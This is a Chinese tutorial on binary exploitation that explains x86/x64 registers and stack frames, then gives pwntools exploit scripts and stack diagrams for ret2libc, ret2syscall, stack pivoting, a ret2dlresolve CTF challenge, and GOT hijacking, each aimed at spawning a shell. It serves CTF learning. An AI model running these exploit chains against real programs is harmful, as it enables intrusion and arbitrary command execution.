PWN的底层原理与ROP艺术
PWN的底层原理与ROP艺术
当你用 C/C++ 写代码时,你是在高级语言的抽象层构建逻辑;
当你做 Pwn 时,你是在用底层汇编、内存布局、操作系统机制去审视这套逻辑。
前置知识
32位寄存器
EAX:累加器,用于算术计算和函数返回值
EBX:基地址寄存器,作为存储器指针
ECX:计数寄存器,常用于循环计数
EDX:数据寄存器,参与乘除计算和I/O操作
ESP:堆栈指针,指向栈顶
EBP:基指针,指向栈底
ESI/EDI:变址寄存器,用于字符串操作
段寄存器
段寄存器用于支持段式存储器管理,包含6个16位寄存器:CS、DS、ES、SS、FS、GS。
CS:代码段寄存器,指向代码段的基址。
DS:数据段寄存器,指向数据段的基址。
ES:附加数据段寄存器,常用于字符串操作。
SS:栈段寄存器,指向堆栈段的基址。
FS/GS:附加段寄存器,通常由操作系统用于线程或CPU特定的内存管理。
指令指针寄存器
EIP:存储下一条要执行指令的地址,它的值会随着指令的执行自动更新,或通过跳转指令修改
标志寄存器
EFLAGS寄存器包含多个标志位,用于反映运算结果或控制处理器状态。
CF:进位标志,表示是否产生进位或借位。
ZF:零标志,表示运算结果是否为零。
SF:符号标志,反映结果的正负。
OF:溢出标志,表示有符号运算是否溢出。
DF:方向标志,控制字符串操作的方向。
IF:中断允许标志,决定是否响应外部中断。
64位寄存器
| 64位 | 低32位 | 低16位 | 低8位 | 描述 |
|---|---|---|---|---|
| rax | eax | ax | al | 累加器 |
| rbx | ebx | bx | bl | 基地址 |
| rcx | ecx | cx | cl | 循环计数器 |
| rdx | edx | dx | dl | 数据寄存器,通常扩展A寄存器 |
| rsi | esi | si | sil | 字符串操作的源索引 |
| rdi | edi | di | dil | 字符串操作的目的索引 |
| rbp | ebp | bp | bpl | 基地址指针 (栈帧基地址) |
| rsp | esp | sp | spl | 栈指针 (栈顶指针) |
| r8 | r8d | r8w | r8b | 新增通用寄存器 |
| r9 | r9d | r9w | r9b | 新增通用寄存器 |
| r10 | r10d | r10w | r10b | 新增通用寄存器 |
| r11 | r11d | r11w | r11b | 新增通用寄存器 |
| r12 | r12d | r12w | r12b | 新增通用寄存器 |
| r13 | r13d | r13w | r13b | 新增通用寄存器 |
| r14 | r14d | r14w | r14b | 新增通用寄存器 |
| r15 | r15d | r15w | r15b | 新增通用寄存器 |
汇编指令
push
比如push rbp
1.先将指针rsp-8(栈从高地址向低地址增长,先腾出空间)
2.然后把rbp寄存器中的值写入新栈顶[rsp]指向的内存位置
也就是说 push rbp是吧当前的rbp的值保存在栈上
pop
比如pop rbp
1.从栈顶(即[rsp]指向的内存位置)读取一个8字节的值
2.将它写入rbp寄存器中
3.同时将rsp增加8(栈指针上移,相当于弹出)
也就是说 pop rbp是吧栈上的当前值弹出并赋值给rbp
以调用一个函数为例,比如是x86-64,调用者做了
call my_function ; 等价于 push rip; jmp my_function
此时栈(向低地址增长)的状态:
高地址
| ... |
| 参数 n | (某些参数可能通过寄存器传,其余压栈)
| ... |
| 返回地址 | ← call 指令压入的 rip(调用者的下一条指令)
低地址 ← rsp 指向这里
最开始的操作:
my_function:
push rbp ; ① 保存调用者的 rbp
mov rbp, rsp ; ② 设置自己的栈帧基址
sub rsp, N ; ③ 为局部变量分配空间(可选)
push rbp
将调用者函数的栈帧基址(rbp的值)压栈保存,这样能方便函数结束之后还能恢复到最初的栈帧,此时rsp自动减8,且rsp现在指向旧的rbp
mov rbp,rsp
把当前栈顶(保存rbp的那个位置)作为当前函数的栈帧基址,固定到rbp,之后除非使用leave,不然rbp在整个函数不会改变
sub rsp,N
把rsp向下移动N个字节,腾出局部变量,临时数据,可能的寄存器保存区域等,如果子函数局部变量很少,有时可以省略
这三步以后,栈内存布局变为:
高地址
| 调用者的 rbp | ← rbp 现在指向这里 (当前函数的帧基址)
| 返回地址 | ← rbp + 8
| 参数区/更多 | ← rbp + 16 开始可能是调用者压入的参数
| ... |
| 局部变量区域 | ← rsp 指向这里 (低地址)
低地址
也就是所有的局部变量都可以通过rbp-偏移来访问,参数和返回地址可以通过rbp+偏移来访问,无论中途rsp怎么变,rbp都始终指向栈帧的底部
结束部分
基本函数的结尾都是:
leave
ret
他们基本都一起出现,负责清理栈帧并将控制权返回给调用者
对于ret很好理解
1.从栈顶弹出8字节(64位),把这个值作为返回地址,然后rsp+8
2.跳转回这个地址并继续执行(即恢复到调用函数的下一条指令)
它只负责修改rip和rsp
对于leave
它等价于两条指令
mov rsp, rbp ; 恢复栈指针到帧基址,相当于丢弃函数内分配的局部变量空间
pop rbp ; 弹出旧 rbp,同时 rsp 自动 +8
因为我们一开始存好了rbp的基址,所以第一步mov就可以很顺利地恢复到栈帧基址,随后pop rbp,也就相当于清理旧的栈帧,成功开辟新的空间去操作
关于ROP链
ROP(Return-Oriented Programming,返回导向编程)是一种非常经典且高级的漏洞利用技术
前提
对于一般的漏洞攻击,最常见的手法是缓冲区溢出:攻击者把一段恶意代码(shellcode)写进程序的栈中,然后通过溢出覆盖函数的返回地址让程序直接执行这段恶意代码
其实这也就是我们说的ret2shellcode,通过定位起始地址到返回地址,算出长度,然后塞入垃圾数据,最终覆盖返回地址为我们写入shellcode的地方,然后执行shellcode,getshell。。
为了防御这种攻击,操作系统引入了NX(堆栈不可执行)或DEP(数据执行保护)保护,开启后,如果CPU尝试在栈上写代码,程序会直接崩溃
这时,如果还想拿到shell的话,就得使用ROP了!
核心
Gadget(代码片段):就是程序内存中已经存在的,以ret指令结尾的极短指令序列
需要ret结尾的原因是ret指令的本质在于从栈顶弹出一个地址,然后给rip,进而确定下一条指令的地址,我们需要控制程序的流程,就需要ret来辅助我们
过程
由于我们正在构建ROP链,所以从前往后数据是以此从低往高写的,也就是低地址往高地址
攻击者会在栈上精心布置一系列的数据和 Gadget 的地址。当原函数执行完毕触发 ret 时,可怕的连锁反应就开始了:
- 触发点:函数执行到原本的 ret,此时栈顶已经被攻击者覆盖为 Gadget 1 的地址。CPU 跳转到 Gadget 1。
- 执行 Gadget 1: Gadget 1 执行了一条或几条有用指令(比如给寄存器赋个值)。
- 连接点:Gadget 1 执行完后,它的最后一条指令又是 ret!此时栈顶指针(RSP)已经移动到了下一个位置,而那里刚好是攻击者布置的 Gadget 2 的地址。
- 循环往复:CPU 乖乖地跳转到 Gadget 2 执行,执行完遇到 ret,又跳转到栈上的下一个地址……
这些 Gadget 就像链条一样被 ret 指令一环扣一环地串联起来执行,这就是 ROP 链(ROP Chain)。
实例
ret2libc
from pwn import *
elf = ELF('./vuln')
libc = ELF('./libc.so.6') # 题目通常会提供 libc
p = process('./vuln')
# 假设通过调试测出溢出偏移为 72
offset = 72
# 第一步:泄露 libc 基址
rop = ROP(elf)
# 调用 puts 打印 puts 自己在 GOT 表里的真实地址
rop.puts(elf.got['puts'])
# 打印完后,让程序再次回到 main 函数,重新触发一次漏洞
rop.call(elf.sym['main'])
payload1 = b'A' * offset + rop.chain()
p.sendlineafter(b"Input:", payload1)
# 接收并解析泄露的地址
puts_leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(f"[+] Leak puts address: {hex(puts_leak)}")
# 计算 libc 基址
libc.address = puts_leak - libc.sym['puts']
print(f"[+] Libc base: {hex(libc.address)}")
# 第二步:执行 system("/bin/sh")
rop2 = ROP(libc)
# 有了基址,直接在 libc 里找 system 和 /bin/sh
# 注意:64位 Ubuntu 系统有时需要多加一个单纯的 ret 指令来对齐 16 字节栈环境
rop2.raw(rop2.ret.address)
rop2.system(next(libc.search(b'/bin/sh\x00')))
payload2 = b'A' * offset + rop2.chain()
p.sendlineafter(b"Input:", payload2) # main函数重新运行,再次输入
p.interactive()
栈的布局
发送第一段payload1前
=================== 高地址 (栈底) ===================
[ main 函数的地址 ] <- puts 执行完后的返回地址 (为了无限循环利用)
[ puts@plt 地址 ] <- pop rdi; ret 之后的去向,去执行 puts 打印
[ puts@got 地址 ] <- 准备弹给 rdi 寄存器的值 (即 puts 的参数)
[ pop rdi; ret 的地址 ] <- 劫持 EIP 的第一步!
[ 72 字节的垃圾数据 ] <- 填充满局部变量和旧的 RBP
=================== 低地址 (当前 RSP) ================
对于64位,由于call函数要求rsp必须16字节对齐,所以最好是在ROP链前面加上ret
1.目前跳到了pop rdi;ret这里
2.先执行最开始的ret,把当前地址弹出存到rip,然后rsp上移
3.执行pop rdi;ret,先pop rdi,将栈顶也就是puts@got的地址存到rdi,然后rsp上移
4.ret,将当前地址(puts@plt)弹出给rip,rsp继续上移
5.执行puts函数,由于我们前面rdi里存着puts的got表地址,即为函数在libc动态链接库中的真实地址,然后执行puts,将它的真实地址打印了出来
6.函数结束,执行leave;ret操作,rsp指向main函数地址,然后ret,下一步返回到main函数
通过第一段我们拿到了puts函数真实地址,就可以算出libc的基址了,下一步执行system
高地址
+-------------------+
| system 地址 | ← 调用 system,将会跳转到 libc 的 system 函数 (5)
+-------------------+
| "/bin/sh" 地址 | ← 弹入 rdi 的参数 (4)
+-------------------+
| pop rdi; ret | ← 第二个 gadget (3)
+-------------------+
| ret 的地址 | ← 额外对齐用,只执行 ret (2)
+-------------------+
| 72 字节 A 填充 | ← 缓冲区覆盖 (1)
+-------------------+
| 局部变量 / 缓冲区 |
低地址
同样,先填充字节到返回地址处,这里由于是64位,加个ret对齐
然后正常按照64位的流程,先使用pop rdi;ret,下一步放入存入rdi的值,随后启动system函数,参数直接写进了bin/sh,然后执行,getshell
ret2syscall
脚本
from pwn import *
p = process('./static_vuln')
offset = 112
# 利用 ROPgadget 等工具提前找好的地址
pop_eax_ret = 0x08051234
pop_ebx_ecx_edx_ret = 0x08065432
int_0x80 = 0x08048122
bin_sh_addr = 0x08091111 # 假设在程序静态数据区找到了 "/bin/sh"
# 组装 ROP 链,目标是执行 execve("/bin/sh", 0, 0)
# execve 的系统调用号是 11 (0xb)
payload = b'A' * offset
payload += p32(pop_eax_ret)
payload += p32(11) # 让 eax = 11
payload += p32(pop_ebx_ecx_edx_ret)
payload += p32(bin_sh_addr) # 让 ebx = "/bin/sh" 所在的地址
payload += p32(0) # 让 ecx = 0
payload += p32(0) # 让 edx = 0
payload += p32(int_0x80) # 触发系统调用!
p.sendline(payload)
p.interactive()
同样的思路。。
[ 低地址 (栈顶) ] <--- 此时 ESP 正指着这里
=========================================================================
栈内相对位置 | 内存中实际存放的数据 (32位) | 这一格的作用是什么?
=========================================================================
[ESP] | 0x08051234 (pop eax; ret) | 原函数的返回地址,链条的第一步
-------------------------------------------------------------------------
[ESP + 4] | 11 | 准备喂给 EAX 的系统调用号 (execve)
-------------------------------------------------------------------------
[ESP + 8] | 0x08065432 (pop ebx; ecx...) | 准备跳去的第二段 Gadget
-------------------------------------------------------------------------
[ESP + 12] | 0x08091111 (bin_sh_addr) | 准备喂给 EBX 的字符串地址
-------------------------------------------------------------------------
[ESP + 16] | 0 | 准备喂给 ECX 的值
-------------------------------------------------------------------------
[ESP + 20] | 0 | 准备喂给 EDX 的值
-------------------------------------------------------------------------
[ESP + 24] | 0x08048122 (int 0x80) | 最后的归宿:系统调用大门
=========================================================================
[ 高地址 (栈底方向) ]
此时,正准备执行函数的最后一步ret,执行之后,当前栈顶弹出到eip,esp下移
准备去执行 pop eax; ret,此时 ESP 指向 11。
pop eax将栈顶的值11弹出给eax,esp继续下移,ret,将当前值取出给eip,esp下移,随后程序会读取eip的值,作为下一条指令的地址。。。
以此类推,eax,ebx,ecx,edx,拿到值之后,ret,然后执行int 0x80指令,触发系统调用,并且里面的参数符合,直接getshell
由于是32位,参数进来直接进入栈中,所以不需要pop rdi;ret这一个指令的地址,靠的是函数末尾处的ret来往下走
栈迁移
脚本
from pwn import *
elf = ELF('./vuln')
p = process('./vuln')
# 假设存在全局变量/bss段,我们可以往这里写入数据
bss_addr = elf.bss() + 0x100
leave_ret_addr = 0x080484b8 # 提前找好的 leave; ret 的地址
# ================= 第一步:在宽敞的 bss 段提前布置好恶意的 ROP 链 =================
# 假设程序一开始提供了一次往 bss 段写任意数据的机会
# 这里布置的链就是常规的 ret2libc 或者系统调用
fake_stack_rop = ROP(elf)
fake_stack_rop.puts(elf.got['puts'])
fake_stack_rop.call(elf.sym['main'])
p.sendafter(b"Write to BSS:", fake_stack_rop.chain())
# ================= 第二步:极小溢出,触发栈迁移 =================
# 假设这是溢出函数,我们只有 0x20 的缓冲区,最多写 0x28 个字节
offset = 0x20
payload = b'A' * offset
payload += p32(bss_addr - 4) # 覆盖 saved ebp。减 4 是为了让 leave 指令执行后,esp 恰好指向 bss_addr
payload += p32(leave_ret_addr)# 覆盖 ret addr (eip)。
# 发生什么?
# 1. 目标函数原本的 leave: 把被覆盖的 ebp 赋给 esp,然后 pop ebp。此时 esp 来到了 bss_addr 附近。
# 2. 目标函数原本的 ret: 去执行被我们覆盖的 leave_ret_addr。
# 3. 再次执行 leave: 将 esp 彻底定位到了 bss_addr,并 pop ebp。
# 4. 再次执行 ret: 这次从栈顶(此时就是 bss_addr)弹出的返回地址,正好是我们第一步写入的 ROP 链!
p.sendafter(b"Tiny overflow:", payload)
p.interactive()
32位ROP链
对于32位的,参数直接进栈,不需要pop rdi;ret,但也意味着一个问题,就是他不会自动通过ret去跳转到我下一条指令的地址,我们需要自己写入返回地址
32位的函数,汇编长这样
my_func:
; --- 1. 函数序言 (Function Prologue) ---
push ebp ; 保存调用者的 ebp
mov ebp, esp ; 把当前的 esp 赋值给 ebp,建立自己的栈帧
; --- 2. 真正的主体代码 ---
mov eax, dword ptr [ebp + 8] ; <--- 用 ebp+8 拿到了 arg1 !
; --- 3. 函数结语 (Function Epilogue) ---
pop ebp ; 恢复调用者的 ebp
ret ; 返回
可以看到,最终拿参数的地方是ebp+8的位置,过程如下
时刻 1:刚好跳转到 my_func 的瞬间(函数序言还没执行)
在这个瞬间,因为之前的 call 指令(或者我们 ROP 的 ret 占位),栈长这样:
================ 高地址 ================
[ 参数 arg1 的值 ] <- (此时 ESP + 4)
[ 返回地址 ] <- (此时 ESP)
================ 低地址 ================
看,此时参数确实在 ESP + 4 的位置!
时刻 2:执行 push ebp
这是 my_func 的第一条指令。它把旧的 ebp 压入了栈中,导致栈顶(ESP)往下走了一格(4个字节):
================ 高地址 ================
[ 参数 arg1 的值 ] <- (此时 ESP + 8)
[ 返回地址 ] <- (此时 ESP + 4)
[ 旧的 EBP 值 ] <- (此时 ESP)
================ 低地址 ================
发现了吗?因为压入了一个 EBP,原本在 ESP+4 的参数,现在相对于 ESP 变成了 ESP+8!
时刻 3:执行 mov ebp, esp
这是 my_func 的第二条指令。它把此刻的 ESP 地址直接复制给了 EBP。
此时栈的结构没有变,但是寄存器的参考系变了:
================ 高地址 ================
[ 参数 arg1 的值 ] <- (此时 EBP + 8) !!!
[ 返回地址 ] <- (此时 EBP + 4)
[ 旧的 EBP 值 ] <- (此时 ESP 和 EBP 都指向这里)
================ 低地址 ================
由此可知,真正塞入参数是ebp+8的地方,所以我们构造ROP链的时候,往往需要在写入函数之后,先填充一个无关的地址,占位,然后再填入我要塞进去的参数
例子
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.arch = "i386"
p = process("./no_relro_32")
rop = ROP("./no_relro_32")
elf = ELF("./no_relro_32")
p.recvuntil(b'Welcome to XDCTF2015~!\n')
offset = 112
rop.raw(offset * 'a')
rop.read(0, 0x08049804 + 4, 4)
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace(b"read", b"system")
rop.read(0, 0x080498E0, len(dynstr))
rop.read(0, 0x080498E0 + 0x100, len(b"/bin/sh\x00"))
rop.raw(0x08048376)
rop.raw(0xdeadbeef)
rop.raw(0x080498E0 + 0x100)
assert(len(rop.chain()) <= 256)
rop.raw("a" * (256 - len(rop.chain())))
p.send(rop.chain())
p.send(p32(0x080498E0))
p.send(dynstr)
p.send(b"/bin/sh\x00")
p.interactive()
原始 .dynamic:
DT_STRTAB -> 真实 .dynstr (地址 A)
ROP 第一步:
将 DT_STRTAB 指针改为 ----> 0x080498E0
ROP 第二步:
在 0x080498E0 写入 假 .dynstr (将 "read" 改成 "system")
ROP 第三步:
在 0x080498E0+0x100 写入 "/bin/sh\x00"
ROP 第四步:
jmp read@plt+6 (强制解析)
-> _dl_runtime_resolve 根据 DT_STRTAB 地址读取假表
-> 原符号是 read, 现在字符串是 "system"
-> 解析出 system 地址并调用
-> 栈上参数指向 "/bin/sh"
-> system("/bin/sh") 执行,拿到 shell
ROP链如下:
rop.raw(offset * 'a') # 1. 填充偏移
rop.read(0, 0x08049804+4, 4) # 2. 第一次 read:改动态字符串表指针
rop.read(0, 0x080498E0, len(dynstr)) # 3. 第二次 read:写入伪造的字符串表
rop.read(0, 0x080498E0+0x100, 8) # 4. 第三次 read:写入 "/bin/sh"
rop.raw(0x08048376) # 5. 跳转到 read@plt+6 (强制解析)
rop.raw(0xdeadbeef) # 6. system 的返回地址 (随便写)
rop.raw(0x080498E0 + 0x100) # 7. system 的参数 ("/bin/sh" 的地址)
由于system函数原型参数就需要塞入指针(地址),所以我们在能直接定位到bin/sh地址时,直接塞进去地址,但对于找不到的情况,可以通过read或者gets函数,把这个字符串写进一个已知的内存位置,比如bss段,过程如下:
[ read_plt 地址 ]
[ pppr 桥梁 ]
[ 0 ]
[ bss段的地址 ] <- 目标地址 (比如 0x0804A000)
[ 8 ] <- 读 8 个字节
(当程序执行这一步时,你的 Python 脚本用 p.send(b"/bin/sh\x00"),把真正的字符串(字面量)发送过去,程序就会把它写进 0x0804A000)
[ system_plt 地址 ]
[ 0xdeadbeef ]
[ 0x0804A000 ] <- system 的参数,填刚刚被写入了字符串的 bss 段地址!
GOT表劫持
GOT hijack是二进制漏洞利用中一种非常经典且很常见的攻击技术,它的核心思想是利用程序中的内存写入漏洞,篡改GOT表中某个函数的真实地址,从而程序在调用这个函数时,劫持程序的执行流,让其执行攻击者指定的恶意代码
因为GOT表是一个存储着外部函数真实内存地址的数据表,位于程序的数据段,某些情况下可写,对于PLT表,存放着一小段代码,负责跳转到GOT表记录的地址去执行
原理
GOT表在默认情况下(未开启Full Relro)是可写的,可利用这点:
- 寻找漏洞: 攻击者首先需要找到程序中的一个“任意地址写”漏洞(例如:格式化字符串漏洞、数组越界写、UAF等)。
- 确定目标: 攻击者找到 GOT 表中某个会被程序频繁调用的函数地址(比如 puts 或 printf 的 GOT 表项)。
- 篡改地址(劫持): 攻击者利用写入漏洞,将该函数的 GOT 表项内容修改为攻击者想要执行的函数地址(比如 system 函数的地址,或者是事先布置好的 Shellcode 地址、One_gadget 等)。
- 触发执行: 当程序接下来正常调用 puts 或 printf 时,程序会去 GOT 表里取地址,结果取到了攻击者写入的 system 的地址。
- 举例: 原本程序执行 printf("/bin/sh"),经过 GOT 表劫持后,实际上执行变成了 system("/bin/sh"),从而直接弹出了一个 Shell,攻击者成功控制了系统。
示例
假设一个程序中存在格式化字符串漏洞,并且后续会调用 exit(0):
- 攻击者通过漏洞泄露 libc 的基址,计算出 system 函数在内存中的真实地址。
- 攻击者利用格式化字符串漏洞的 %n 特性,将 exit 函数在 GOT 表中的记录修改为 system 函数的地址。
- 当程序执行到 exit(0) 时,本意是退出程序,但实际上却跳转到了 system 函数。由于参数类型等因素,攻击者稍作布局即可利用其执行系统命令。
到这里就叙述完毕啦!!!要是文章有哪块存在知识错误或者我的表述存在偏差,欢迎各位师傅批评指正≽•⩊•≼

浙公网安备 33010602011771号